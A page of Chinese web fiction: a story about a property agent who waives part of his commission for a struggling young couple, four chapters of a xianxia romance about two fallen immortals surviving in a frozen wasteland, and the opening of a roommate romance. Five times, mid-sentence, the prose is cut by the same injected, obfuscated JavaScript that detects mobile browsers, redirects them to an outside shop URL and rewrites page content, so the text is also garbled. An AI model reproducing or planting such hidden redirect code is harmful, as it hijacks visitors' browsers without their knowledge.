他确实拥有了黄金般的未来，娶妻生子，或是功成名就。他的叙事宏大而辉煌。 而我，作为他青春里最隐秘的主角，最终也只敢在他的人生边角里，做一个知道真相后痛哭流涕的观众。 这就够了吗？ 这就够了。 毕竟我们谁都没有回头。 35. 《差价》 中介老张盯着手机屏幕，电量还剩8%，和他今天的耐心一样红得刺眼。 已经是晚上十点半了。这套位于老破小六楼的房子里，空气像凝固的水泥。 买家是一对年轻小夫妻，男的姓刘，背着那个程序员标配的双肩包，一直没放下；女的坐在唯一的破板凳上，手里的矿泉水瓶已经被捏得咔咔响。 房东坐在窗台上抽烟，那是老张刚给他递的硬中华。 “再降两万。”小刘的声音很干，像是在嗓子里磨过砂纸，“大哥，这是我们的底线了。首付真的是凑出来的，还要留点钱刷墙。” 房东把烟屁股按在窗台上，没回头：“小伙子，我也急用钱。这地段，这学段，我挂的已经是最低价了。两万块钱，也就是你俩两个月工资吧？别太计较。” 老张站在中间，职业性地赔着笑，但他知道这局是个死结。 两万块。 对房东来说，是面子，是“不能被砍太多”的执念。 对小刘夫妇来说，可能是还没发的年终奖，或者是又要去跟岳母开口的难堪。 而对老张来说，这一单如果成了，他这个月就能给刚上初中的女儿报那个死贵的英语游学营；如果不成，他已经三个月没开张了，会被店长指着鼻子骂“占着工位不拉屎”。 按照行规，或者是老张这十年的“生存智慧”，现在他有两套话术。 A方案：把小刘拉到一边，说刚才有个看房的想出全款，制造焦虑，逼他们借钱也要买。 B方案：跟房东卖惨，说这小两口多不容易，如果不卖他们，这房子还得挂半年。 但他看着那个女孩。 女孩一直在低头看手机上的计算器，手指微微发抖。她脚上那双运动鞋洗得发白，鞋边开了点胶。 老张突然想起了十年前的自己。那时候带老婆来这座城市，为了省五百块钱中介费，大夏天跑断了腿，最后被黑中介骗走了两个月房租，坐在路边哭得像个傻逼。 “咳。”老张清了清嗓子。 所有人都看向他。他感觉喉咙里像塞了团棉花。 如果是年轻时的老张，会为了正义拍案而起。但现在的他，是背着房贷、女儿要交补习费的中年老张。他不能在这个时候装圣人。 但是，他真的太累了。累得不想再为了那一千多块钱的提成差额去编织谎言，去给这对小夫妻本来就紧绷的生活再上一道刑具。 “这样吧。”老张开口了，声音比他想象的要稳，“这单我让个步。” 他转头看向房东：“李哥，您这房子确实挂了三个月了，之前的买家嫌爬楼累，也没诚意。这小两口是刚需，过了这个村没这个店。这两万块钱，您降一万，行不行？” 房东皱眉，刚要开口。 老张立刻转向小刘：“小刘，剩下的一万，我也不逼你们掏。我这中介费，给你们免一万。” 屋子里突然安静了。只有窗外远处高架桥上传来的隐约车流声。 小刘猛地抬头，眼镜片反着光，一脸不可置信。 房东愣了一下，似乎在算账。 老张心里在滴血。免一万，意味着这一单他白跑了腿，甚至算上公司抽成和平台费，他可能也就是赚个几百块辛苦费，连油钱都未必够。 但他脸上的表情很松弛，像是卸下了一块大石头。 “但我有个条件，”老张看着他们，“今晚必须签合同。我累了，想回家睡觉。” 签约中心就在楼下不远的门店。 打印机“滋滋”地吐着合同。那一万块钱的让利，像是一剂润滑油，让原本锈死的齿轮重新转动了起来。房东松口了，那一万他也认了。 签字的时候，那个女孩的手还在抖，但这次是因为激动。 按完手印，小刘站起来，想握老张的手，又觉得手上有印泥不干净，就在裤子上蹭了蹭。 “张哥，这……真的太谢谢了。以后我们同事买房，肯定找你。”小刘语无伦次。 老张摆摆手，把合同装进文件袋递给他们：“行了，赶紧回去休息吧。明天还得搬砖呢。” 送走客户和房东， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088259|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店里只剩老张一个人。 店长发来微信语音，咆哮着问为什么系统里录入的佣金少了那么多。 老张没点开，直接把手机揣进兜里。 少赚了一万块，但他没亏。他保住了这一单的成交量，保住了在这个行业的底线，更重要的是，他刚才看到那个女孩签完字后，偷偷握住丈夫的手，长长地出了一口气，眼里有了光。 那种光，他在十年前的镜子里见过。 老张骑着电瓶车回家。 深夜的城市很空旷，风灌进领口，有点冷，但很爽。 路过楼下的24小时便利店，他停下车，进去买了一包烟，又拿了一瓶平时舍不得买的进口啤酒。 结账的时候，他看到架子上有一盒精装的巧克力，那是女儿念叨了好几天的牌子。 他犹豫了一秒，拿了起来。 这一单虽然没赚大钱，但那是“意外之财”没挣到，属于他的那份辛苦钱，虽然薄，但拿得踏实。 推开家门，屋里留了一盏昏黄的落地灯。 老婆已经在沙发上睡着了，身上盖着毯子，电视机里还在放着静音的综艺节目。桌上扣着一个罩子，里面是一盘还有余温的青椒肉丝，和一碗压得实实的米饭。 老张轻手轻脚地放下钥匙，把巧克力放在女儿明早能看到的餐桌上。 他坐在小板凳上，打开啤酒，扒了一口有些凉了的米饭。 真香。 手机震动了一下，是小刘发来的微信转账。 200块。 备注写着：张哥，真的没钱了，这点心意你一定要收下，请你吃顿好的。谢谢你让我们在这个城市有了家。 老张看着那个红色的转账框，笑了。 他没收。 他回了一句：留着买个好点的拖把，开荒保洁累死人。 他喝了一大口啤酒，气泡在喉咙里炸开。 明天还要面对店长的臭脸，还要面对下个月的房贷，生活依然是个巨大的麻烦。 但今晚，他老张是个体面人。 36. 春嵇怀予（1） 北冥的雪下到第三十个年头，这间名为“不渡”的弃屋，终于快要被风雪嚼碎了。 屋顶那几块发霉的油毡布被风扯得呼啦作响，像是某种濒死野兽喉咙里发出的哨音。屋内光线浑浊，空气里常年淤积着一股难以言喻的气味——那是湿透的陈年煤灰、发酵的药渣，以及春嵇君沈栖身上那种挥之不去的、类似腐烂花叶般的甜腥气。 沈栖醒来的时候，并没有睁眼。 他先是感觉到痛。 那不是一种尖锐的刺痛，而是一种古老、沉重且湿润的钝痛。像是有无数根生了锈的铁钉，顺着他早已坏死的膝盖骨缝，一寸一寸地往上钉，一直钉进脊髓深处。 这具曾经掌管天下枯荣的灵躯，如今像是一段被白蚁蛀空的烂木头，甚至连发抖的力气都被抽干了。他只能在那床板结发硬、散发着霉味的旧棉絮里，极其缓慢地蜷缩起脚趾——尽管那里早已没了知觉，这只是他残存的、可笑的肌肉记忆。 “……呃。” 一声极轻的呻吟从他干裂的唇齿间溢出，还没落地，就被一只粗糙的大手按了回去。 “别动。” 怀予君谢知行还没睡醒。他的声音沙哑、粗粝，像是一把裹着砂纸的刀。 他闭着眼，动作却熟练得令人心惊。那只布满刀茧、冻疮和新旧伤疤的大手，准确无误地探入冰冷的被窝，一把扣住了沈栖那截瘦得嶙峋突兀的脚踝。 一股微弱却滚烫的内力，顺着谢知行的掌心，蛮横地撞进沈栖枯竭的经脉里。 那是谢知行用自己的仙骨换来的凡人内力，带着一股子铁锈般的血气。 沈栖的身体猛地弹动了一下，随即是一阵剧烈的痉挛。 “……谢知行，松手。”沈栖费力地睁开眼，视线里是一片模糊的灰白。他喘息着，每一个字都像是在肺叶里拖着倒刺，“你那点内力……留着护你的心脉。别浪费在……这双废腿上。” 谢知行没理他。他睁开眼，眼底布满了熬夜后的红血丝，眼神阴鸷而疲惫。 他不仅没松手，反而加重了力道，指关节因为用力而泛白，近乎粗暴地揉捏着沈栖那处早已萎缩塌陷的小腿肌肉。 “我不给它续着气，这腿明天就得烂。”谢知行冷冷地说，“你想让我锯了它？” 沈栖不说话了。他偏过头，看着墙角那个正在咕嘟作响的黑陶药罐。 那是他们之间无声的博弈。一个想死得体面些，一个想活得哪怕狰狞些。 谢知行起身倒药。 因为没钱买好的银霜炭，炉子里烧的是廉价的湿煤，黑烟呛得人嗓子发紧。 那碗药汁浓稠漆黑，泛着诡异的紫光，散发着一股令人作呕的、混合着蛇胆与腐草的腥臭。这是用谢知行的血做药引，配上北冥特有的毒草熬成的“续命汤”。 “三十年了。” 沈栖看着那碗递到嘴边的药，忽然开口。他的声音很轻，轻得像是窗外随风飘散的雪沫。 “怀予君，当年的‘诛仙阵’没能杀了我，这碗药……倒是快把我耗干了。” 谢知行的手猛地一僵。几滴滚烫的药汁溅在他手背那道溃烂的冻疮上，他连眉头都没皱一下。 “喝。”他只说了一个字。 沈栖抬起那双浑浊的眼睛，试图看清眼前这个男人。 三十年前，谢知行是身披金甲、手执“斩业刀”的掌刑司座，是九天之上最锋利的一把刀。他有洁癖，袍角沾一粒灰都要皱眉半天。 而现在，他穿着一件不合身的、沾满煤灰和油污的粗布麻衣，头发胡乱地用一根木簪束着，鬓角全是霜雪。他像个最低贱的苦力，守着一个废人，在这不见天日的北冥苟延残喘。 沈栖的心脏像是被一只手狠狠攥住，酸涩得发疼。 “……无咎。”他唤了他的字，语气里带着一种近乎残忍的温柔，“放我走吧。我这副身子，除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088260|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了拖累你，什么都做不了。你若现在回头，去修魔道，或许还能……” “哐当！” 瓷碗重重地磕在床沿上，发出一声脆响。谢知行猛地俯下身，那张胡子拉碴的脸逼近沈栖，眼底翻涌着名为绝望的暴怒。 “沈宿云，你给我听清楚。” 谢知行咬着牙，声音从喉咙深处挤出来，带着颤音，“当年为了把你从阵眼里抠出来，我抽了自己的仙骨，断了九世轮回。我的命早就融在你这把骨头里了。” 他伸出那只颤抖的手，死死捏住沈栖的下巴，强迫他张开嘴。 “你想死？行啊。”谢知行的眼眶通红，眼角却干涸得没有一滴泪，“等我哪天死在你前头，没人给你熬药了，你再去死。在那之前……你连死的资格都没有。” 沈栖被迫仰起头。 那苦涩、腥膻的药汁顺着喉管灌下去，像是一道滚烫的岩浆，烧得五脏六腑都在抽搐。 他呛咳着，眼泪不受控制地生理性涌出，混着嘴角溢出的药汁，狼狈不堪。 谢知行用那只满是老茧的大拇指，狠狠地、却又极其缓慢地擦去他嘴角的污渍。指腹粗糙的触感划过沈栖苍白如纸的皮肤，带起一阵细密的战栗。 风把破窗吹开了，一团冷雪砸了进来，落在沈栖手背上，并没有融化。 因为他的体温，已经快要比雪还冷了。 谢知行沉默地起身，去关窗，然后脱下身上那件唯一的、还算厚实的破旧狐裘，裹在沈栖身上。 “今天要去鬼市换药。”谢知行背对着他，声音恢复了那种死水般的平静，“……我想办法给你换点糖回来。” 沈栖缩在那件带着谢知行体温的狐裘里，看着那个佝偻却依然宽阔的背影。 他闭上眼，把那个“好”字，连同满嘴的苦涩，一同咽进了肚子里。 这漫长的、看不到尽头的酷刑，大概就是凡人所说的“余生”吧。 37. 春嵇怀予（2） 风雪在未时三刻变得暴躁起来，把天地间所有的轮廓都抹成了一片混沌的灰白。 去往“鬼市”的路，其实是一条早已干涸的地下暗河河床。这里没有光，只有两侧岩壁上寄生的发光苔藓，发出惨淡的绿意，照着脚下那些不知是兽骨还是人骨的碎片，踩上去会发出令人牙酸的脆响。 谢知行背着沈栖，走得很慢。 他如今是肉体凡胎，尽管底子还在，但在这种滴水成冰的地方背着一个成年男子走了十里雪路，肺腑里早已像塞了一把滚烫的沙砾。每一次呼吸，喉管里都会发出破旧风箱般的嘶鸣。 沈栖伏在他背上，轻得像是一具被掏空的蝉蜕。 因为双腿早已坏死，那两条空荡荡的裤管随着谢知行的步伐，在风中僵硬地晃荡，时不时磕在谢知行的大腿侧面。那是一种没有生命的、物件般的撞击感。 “……放我下来歇会儿吧。” 沈栖的声音被风吹得支离破碎，带着一股浓重的倦意，“你出汗了。背上的汗湿了冷风，容易做病。” “闭嘴。” 谢知行没停，只是往上托了托他的屁股，动作有些粗鲁，透着股不想废话的焦躁，“鬼市还有半个时辰就散了。去晚了，那几株‘灯芯草’就被那帮食腐的夜叉抢光了。” 沈栖不说话了。他把脸埋进谢知行颈窝那块早已看不出颜色的围巾里。 那里有一股很复杂的味道——廉价的皂角味、陈旧的血腥气，还有因为常年烧劣质煤炭而熏染上的烟火味。 这原本是身为“掌刑司座”的谢知行最难以忍受的污浊气味，如今却成了沈栖在这冰天雪地里唯一的依靠。 鬼市并不是什么奇幻瑰丽的所在。 它更像是一个巨大的、散发着霉烂气味的垃圾场。 无数奇形怪状的妖魔、流亡的散修挤在狭窄的河道里。这里充斥着生肉腐烂的腥味、劣质脂粉的香气，以及无数种方言交织成的嘈杂声浪。 谢知行背着沈栖，像一把沉默的铁犁，硬生生在拥挤的人潮里挤出一条路。 没有人认出这两个落魄的男人是谁。谁能想到，那个为了两枚铜板跟摊贩争得面红耳赤的灰衣男人，曾是九天之上那个只用眼角余光看人的怀予君？ “三张‘人面枭’的皮，只换五株灯芯草？” 谢知行站在一个挂满兽皮的摊位前，声音冷硬，“店家，做生意要讲良心。这皮毛色完整，连眼珠都在，放在三十年前，是贡品。” 那摊主是个满脸毒疮的□□精，它轻蔑地瞥了一眼那几张皮，又瞥了一眼谢知行那身寒酸的衣着。 “客官，您也说了是三十年前。”摊主吐出一口烟圈，烟雾喷在谢知行脸上，“如今世道变了。这年头，用来续命的草药是金子，这种装饰用的破烂皮子，也就是擦脚布。爱换不换。” 谢知行握着兽皮的手指猛地收紧，手背上青筋暴起。 他曾经的那把斩业刀，斩过烛龙，劈过天柱。如今这双手，却不得不在这污泥里，为了五株草药受这种腌臜气。 伏在他背上的沈栖忽然动了动。 一只冰凉枯瘦的手伸过来，轻轻按在谢知行颤抖的手背上。 “……换吧。”沈栖的声音很平静，透着一股心灰意冷的通透，“无咎，他说的对。如今我们……本就不值钱。” 谢知行僵了片刻，最终还是松开了手。 “……换。” 那个字是从牙缝里挤出来的，带着血味。 回去的路上，风雪似乎小了些。 怀里揣着那几株用尊严换来的灯芯草，谢知行的步子却比来时更沉重了。 沈栖似乎是累极了，下巴磕在他的肩头，随着步伐一点一点的。 “……谢知行。” “嗯。” “如果不救我，你现在应该还在紫檀殿里听曲子。”沈栖看着眼前漫无边际的灰暗，声音轻忽，“哪怕天塌了，也有个高的顶着。何必为了我这么个废人，把自己弄得像条丧家犬？” 谢知行脚下的步子顿了顿，踩碎了一块埋在雪里的枯骨，发出“咔嚓”一声脆响。 这声音在死寂的雪原上，显得格外刺耳。 “沈宿云。” 谢知行没有回头，目光死死盯着前方那条没有尽头的路，“你知道丧家犬最怕什么吗？” 沈栖愣了一下：“什么？” “怕主人不要它了。” 谢知行嘲弄地扯了扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088261|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角，语气里却只有荒凉，“我是掌刑司座，这辈子杀孽太重。如果不是为了守着你这口气，我早就被那些厉鬼反噬疯了。你以为是我救你？……是你这具破身子，锁着我不让我疯。” 沈栖沉默了。 他把头埋得更深了些，温热的呼吸喷洒在谢知行冰冷的脖颈上。 这世间的因果多么可笑。 一个为了救赎而堕落，一个为了被需要而苟活。他们就像两只在暴风雪里互相撕咬又互相取暖的困兽，谁也离不开谁。 “你看那儿。” 快到家的时候，谢知行忽然停下脚步，下巴点了点路边的一株老树。 那是一株早就被雷火劈焦了的枯梅。树干焦黑开裂，像是一具烧焦的尸体，绝望地指向苍穹。 然而，就在那焦黑的枝头末梢，竟然沁出了一点极小、极淡的红。 那不是盛开的花，只是一个刚刚冒头的、粟米大小的花苞。 在这一片惨白与焦黑的死地里，那点红显得格外突兀，甚至有些刺眼。像是一滴没擦干净的血，又像是某种不合时宜的、垂死挣扎的欲望。 “你是春嵇君。” 谢知行喘着粗气，声音里带着一丝不易察觉的颤抖，“只要你还没死绝，这世间的春意，就断不了根。” 沈栖怔怔地看着那点红。 他那双因为五感退化而早已模糊的眼睛，此刻却觉得那点红像是一根针，狠狠扎进了他麻木已久的心脏。 他伸出那只苍白枯瘦的手指，在虚空中颤巍巍地描摹了一下那个花苞的形状。 没有触觉，没有温度。 但他仿佛听见了一声极轻微的碎裂声——那是冰封了三十年的冻土下，种子试图顶破头盖骨的声音。 “……真丑。” 过了许久，沈栖才哑着嗓子评价道，眼角却不受控制地红了一片。 “开在这个鬼地方，真是委屈它了。” 谢知行没有说话。他只是把你往上托了托，然后迈开步子，继续朝那个破败的家走去。 雪地上留下一串深浅不一的脚印，很快又被新雪覆盖。 就像他们曾经辉煌的过往，终将被这漫长而平庸的苦难，彻底掩埋。 38. 春嵇怀予（3） 回到“不渡”时，天彻底黑透了。 风雪被关在那两扇摇摇欲坠的木门之外，屋内弥漫着一股湿冷且陈旧的尘土味。角落里的那炉炭火已经到了弥留之际，暗红色的火星在厚厚的白灰下苟延残喘，随时都会断气。 谢知行把沈栖安顿在那张铺着烂棉絮的竹榻上，然后转身去摆弄那个灶台。 灶台是用几块废弃的墓碑石垒起来的——在这废都，死人的东西比活人的好用。 晚饭是糙米粥。 因为米缸快见底了，谢知行加了很多水。锅盖一掀开，并没有多少米香，反倒腾起一股令人胃酸翻涌的水腥气。那粥清得像是一面浑浊的镜子，照得出两个穷途末路的人影。 “……吃饭。” 谢知行端着两只缺了口的粗瓷碗过来。 沈栖那碗稍微稠些，还漂着几片用来压惊的腌菜叶子；谢知行自己那碗，基本就是泛着米汤色的滚水。 沈栖靠在床头，并没有接碗。 他那双半瞎的眼睛盯着虚空中的某一点，手指无意识地摩挲着袖口的一块补丁。 “谢知行。” “……嗯。” “把那个玉佩赎回来吧。”沈栖的声音很轻，透着一股心知肚明的疲惫，“那里面有你的本命精血，当了它，你的修为会散得更快。” 谢知行搅动米汤的手顿住了。瓷勺撞在碗壁上，发出一声刺耳的“叮”。 “没当。”他没抬头，撒谎撒得理直气壮，“路上捡了个漏，用一张破狼皮换的。” 说着，谢知行放下碗，像变戏法似的，从贴身的里衣怀襟里掏出一个油纸包。 那纸包被他的体温捂得温热，甚至带着一点汗意。 打开来，里面是一块被压得有些碎裂的桂花糕。 在这个连树皮都被啃光的北冥废都，这一块精致的、散发着甜腻香气的糕点，就像是一个荒谬的梦。 那是只有南边的富庶之地才有的东西。鬼市那个瞎眼的老贩子，要价是三枚灵石——或者一块上品古玉。 “吃。” 谢知行不由分说，用那满是粗茧的手指捏起碎糕，一点点捻进沈栖那碗清苦的粥里。 金黄的糕屑在浑浊的米汤里化开，瞬间被吞没，只留下一层薄薄的油脂和香气。 “我不爱吃甜的。腻得慌。”谢知行皱着眉，像是为了证明自己没说谎，端起自己那碗白水似的粥，仰头灌了一大口，喉结剧烈滚动，发出吞咽的声响。 沈栖静静地看着他。 看着这个曾经在天庭宴席上连琼浆玉液都嫌弃的男人，如今狼吞虎咽地喝着刷锅水一样的米汤，还要假装出一副满足的样子。 沈栖忽然觉得喉咙发堵，像是塞了一团湿棉花。 他低下头，舀了一勺混着桂花糕的粥。 入口是糙米的粗砺、咸菜的苦涩，以及那一点点、稍纵即逝的甜。 这大概就是“活着”的味道。腥膻、粗糙、难以下咽，却又让人为了那一点点甜头，甘愿受尽折磨。 吃完饭，屋里的温度更低了。 谢知行没舍得再添煤，只是把那只快要熄灭的炭盆挪到了床边。 他坐在脚踏上，借着微弱的火光，开始处理自己手上的伤。 那是今天在鬼市被人潮挤压时留下的擦伤，混着旧年的冻疮。左手的手背早已红肿发紫，几处溃烂的口子往外渗着黄水，皮肉翻卷着，看起来狰狞可怖。 在这极寒之地，伤口很难愈合，只会像烂泥一样反复溃烂。 一只苍白、枯瘦如柴的手，缓缓伸了过来，覆盖在谢知行那只满是疮痍的大手上。 沈栖的手指很凉，指尖呈现出一种失血过多的青灰色，像是刚从冰河里捞出来的死木。 谢知行下意识想缩回手：“……脏。别碰，有脓水。” 沈栖却固执地抓住了他。 因为没什么力气，那抓握的动作更像是一种依附。沈栖俯下身，苍白的嘴唇凑近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088262|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那处溃烂的冻疮。 “呼——” 他轻轻吹了一口气。 那气息很微弱，带着淡淡的药味。 就像三十年前，他在司春台，对着那些被霜雪打焉的兰草吹气一样。那时候，他是高高在上的神，一口仙气能让枯木逢春。 如今，他是个废人，这一口气连烛火都吹不灭，更治不好这溃烂的冻疮。 但他还是吹着。 一下，又一下。 “疼吗？”沈栖问。 声音轻得像是梦呓。 谢知行僵硬地坐着，脊背崩成了一张拉满的弓。 手背上传来那一点点微不足道的温热气流，顺着溃烂的皮肤钻进血管，一直烫到他那颗早已麻木的心脏里。 “……不疼。” 谢知行的声音哑得厉害，像是喉咙里含着血块，“……沈宿云，你是神仙，别干这种凡人才干的事。” 沈栖没有停。他垂着眼帘，睫毛在苍白的脸上投下一片鸦青色的阴影。 “无咎。”他轻声说，“神仙做腻了。下辈子……我想做个凡人。给你纳鞋底，给你熬粥。” 他顿了顿，嘴角勾起一抹极淡的、自嘲的笑：“……如果那时候，你还没嫌弃我的话。” 谢知行猛地反手，一把抓住了沈栖的手腕。 力道大得几乎要捏碎那原本就脆弱的腕骨。 他抬起头，那双深陷的眼窝里，有什么东西在破碎，又在重组。 “嫌弃个屁。” 谢知行把脸埋进沈栖冰凉的掌心里，肩膀剧烈地颤抖着。 在这个漏风的破屋里，在这个没有神佛庇佑的雪夜。 那个杀人如麻的掌刑司座，终于发出了像是被困野兽般的呜咽。 “沈宿云……只要你活着。哪怕是变成一块烂肉，我也把你供在神台上。” 炭盆里的最后一点火星终于熄灭了。 黑暗像潮水一样涌上来，将他们淹没。 39. 春嵇怀予（4） 沈栖做了一个梦。 梦里不是这满目疮痍的北冥废都，而是三十年前的司春台。 那时候正是江南三月，草长莺飞。他没有坐轮椅，而是赤着脚，踩在湿润松软的苔藓上。 脚底传来的触感是那么真实——泥土的凉意、草叶的瘙痒，甚至能感觉到每一根脚趾抓地的力度。他手里提着一壶酒，回头望去，谢知行正坐在花树下擦那把斩业刀，金甲在阳光下流淌着刺目的光辉。谢知行抬起头，那张还没有被风霜和苦难侵蚀的脸庞上，带着意气风发的笑意。 “宿云，酒温好了。” 沈栖想要跑过去。 可就在迈步的瞬间，膝盖骨传来一声令人牙酸的脆响。 那种熟悉的、像是被无数根钢针贯穿的剧痛，瞬间撕碎了那个绿意盎然的梦境。 沈栖醒来的时候，并没有睁眼。 他先是听到了风声。昨夜那场似乎永远不会停的暴雪，竟然真的停了。窗外偶尔传来积雪压断枯枝的“咔嚓”声，在这死寂的清晨显得格外空旷。 他慢慢睁开眼。 映入眼帘的，是房梁上那块悬垂下来的、发霉的蜘蛛网。清晨惨白的光线透过破败的窗棂切进来，照在空气中浮动的尘埃上。那些尘埃在光柱里翻滚、沉降，像极了某种微小的、无法落地的骨灰。 身体很沉，像是被灌了铅。双腿依旧没有知觉，只有膝盖深处那种阴湿的钝痛在提醒他——他还活着，还困这具残破的躯壳里。 他费力地转过头。 床头那个缺了口的黑陶罐里，插着那支昨夜折回来的红梅。 经过一夜，花瓣有些蔫了，边缘泛着焦黑的枯色。在这灰扑扑的屋子里，那点红显得格外惊心，像是一道刚结痂的伤口，又像是一滴还没干透的心头血。 谢知行就趴在床边。 这个曾经甚至不肯在凡人面前卸甲的掌刑司座，此刻睡姿极其难看且毫无防备。 他的一条腿别扭地蜷在脚踏上，半个身子压着床沿。手里还死死攥着那把用来扇火的破蒲扇，扇面上全是黑乎乎的煤灰印子。 晨光照在他的脸上。 沈栖第一次如此近距离地端详这张脸。 老了。 眼角的细纹里藏着洗不净的煤灰，下巴上冒出了青黑色的胡茬，鬓角的白发在晨光下泛着枯草般的光泽。他的眉心即便是在睡梦中也紧紧锁着，像是还在梦里跟谁讨价还价，或者是为了那最后半把米在发愁。 沈栖感到一阵难以言喻的酸楚，混杂着一种劫后余生的宁静。 在那些香火鼎盛的岁月里，世人供奉神佛，求的是长生，是富贵。 而如今，神佛陨落，神殿塌方。 眼前这个邋遢、疲惫、为了几块煤炭和草药斤斤计较的男人，成了沈栖在这个世上唯一的信徒，也是唯一的庙宇。 谢知行似乎感觉到了注视，身体猛地抽搐了一下，然后瞬间惊醒。 那一刻，他眼里的杀气还没散去，手下意识地去摸腰间——那里早就没有刀了，只有一串用来换米的铜板。 看清沈栖醒了，他眼底的戾气瞬间消散，取而代之的是一种近乎呆滞的松弛。 “……醒了？” 声音哑得像是吞了把沙子。他咳了一声，揉了揉发僵的脖子，又去摸那个黑陶罐，“……梅花没死。我还以为这屋里太冷，它挺不过今早。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088263|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈栖看着他，目光落在他那只还在微微颤抖的手上——那是昨夜一直握着自己的手。 “……知行。”沈栖的声音很轻，因为许久未说话而带着气音。 “嗯？”谢知行正忙着去探炭盆里的余温。 “把窗户打开吧。” 谢知行愣了一下，随即皱眉：“外面冷。你这肺……” “打开。”沈栖固执地重复，“我想看看雪停后的样子。” 谢知行拗不过他，起身去推那扇变形的木窗。 “吱呀——” 随着刺耳的摩擦声，窗户开了。 一股凛冽寒冷、却极其干净的空气瞬间涌入，冲散了屋里那股经年不散的药味和霉味。 窗外，是白茫茫的一片。 废都的断壁残垣都被大雪覆盖，显得洁白而温柔。远处那棵焦黑的老梅树上，除了那朵被折回来的花，竟然真的又冒出了几个极小的红点。 沈栖深深吸了一口气。肺腑被冷气激得生疼，但他却觉得从未有过的畅快。 他看着那个站在窗前、挡住大半寒风的宽阔背影。 所谓的“春”，并不是万物复苏，也不是枯木逢春。 而是在这万籁俱寂、众生皆苦的废墟之上，还有一个人，愿意守着一炉残火，陪你熬过漫漫长夜。 只要这个人还在，这世间最寒冷的冬天，便也只是一场稍微长一点的梦。 “怀予君。” 沈栖在心里轻轻唤了一声。 他闭上眼，嘴角勾起一抹极淡的笑意。阳光洒在他苍白的脸上，像是镀上了一层并不耀眼、却足以传世的金身。 “……早安。” 40. 《关于想吃火锅的冬天，和合租室友变成了恋人这件事》 北方的冬天，冷得就像是上帝忘记了关冰箱门，还顺手把冷冻档调到了最大。窗外的风呜呜地吹着，像是某种被踩了尾巴的怪兽，拼命拍打着玻璃。而此时此刻，我，江驰，正把自己裹成一只巨大的蚕蛹，缩在客厅的沙发角里，试图用仅存的体温对抗这该死的物理定律。 “江驰，你是冬眠的熊吗？” 一个清脆的声音打破了我的“节能模式”。我艰难地把头从毛毯里探出来，看见苏念念正站在卧室门口。她穿着一件过于宽大的米白色毛衣，袖口长得盖住了一半手掌，下面是一条灰色的棉质居家裤，脚上踩着一双和我同款不同色的鲨鱼拖鞋。头发随意地挽成一个丸子，几缕碎发垂在耳边，显得慵懒又——好吧，我承认，有点可爱。如果忽略她手里那个空空如也的薯片袋子的话。 “苏大小姐，”我叹了口气，呼出的气瞬间变成了一团白雾，“即使是熊，在缺乏食物的情况下也是会醒的。尤其是当它的室友刚刚吃光了最后一袋番茄味薯片的时候。” 苏念念眨了眨眼，无辜地晃了晃手里的袋子：“哎呀，被发现了？我本来想作为垃圾扔掉，帮你毁尸灭迹的。” “这是哪门子的毁尸灭迹啊！这明明是受害者的遗物！” “别这么小气嘛。”苏念念像只轻盈的猫一样跳上沙发的另一头，盘腿坐下，随手抓过一个抱枕抱在怀里，“我也很饿啊。而且，你看窗外。” 我顺着她的视线看去。虽然窗户上结了一层薄薄的冰花，但依然能看清外面纷纷扬扬飘落的雪花。路灯昏黄的光晕下，雪片大得像鹅毛。“下雪了。”她说，眼睛亮晶晶的。 